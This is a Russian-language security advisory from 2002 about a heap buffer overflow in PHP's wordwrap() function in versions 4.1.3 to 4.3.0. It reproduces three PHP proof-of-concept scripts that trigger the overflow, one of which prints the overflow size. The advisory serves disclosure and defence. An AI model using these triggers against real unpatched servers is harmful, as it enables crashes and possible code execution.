Security Lab

Удаленное переполнение буфера в PHP

Дата публикации:30.12.2002
Всего просмотров:1233
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Обнаружено переполнение буфера в встроенной PHP функции "wordwrap" в PHP версиях выше 4.1.2 и ниже 4.3.0.

Если параметры к функции wordwrap() передаются из пользовательского ввода, то уязвимость может использоваться удаленно для выполнения произвольного кода или DoS атаки. По сообщением, успешная эксплуатация для выполнения произвольного кода затруднительна, но теоретически возможна. Несколько работающих эксплоитов:

 
1.
<?php
$x = "ADV:CLAIM YOUR FORTUNE NOW !!MAKE";
$x .= " xxxxxxxxxxHUNDREDS OF THOUSANDSxxxxxxxxxxxx";
$b = "CANITBREAKFOO";
$x = wordwrap($x, 21, $b, 1);
$x = wordwrap($x, 21, $b, 1);
?>
2.
<?php
$x = "ADV:CLAIM YOUR FORTUNE NOW !!MAKE";
$x .= " xxxxxxxxxxHUNDREDS OF THOUSANDSxxxxxxxxxxxx";
$b = "CANITBREAKFOO";
for ($i=0; $i<1000; $i++) {
  $y = wordwrap($x, 20, $b, 1);
}
?>
 
3.
<?php
$part = "1234567890 X ";
$string = "";
for ($i=0; $i<10; $i++) {
    $string .= $part;
}

$break = "a-very-long-break-string-to-clobber-the-heap";
for ($i=0; $i<8; $i++) {
    $break .= $break;
}

$linelength = 10;
$wrapped = wordwrap($string, $linelength, $break, 1);

$textlen = strlen($string);
print("Length of original string:  $textlen\n");
$breakcharlen = strlen($break);
print("Length of break string:     $breakcharlen\n");
$newtextlen = strlen($wrapped);
print("Length of wrapped string:   $newtextlen\n");

$buffer = $textlen +
          intval(($textlen/$linelength + 1) * $breakcharlen * 1.1) + 1;

print("Size allocated by 4.3.0RC2: $buffer\n");
$overflow = $newtextlen - $buffer;
if ($overflow > 0) {
    print ("BUFFER OVERFLOW by $overflow bytes!\n");
}

?>
Ссылки: Buffer overflow in PHP "wordwrap" function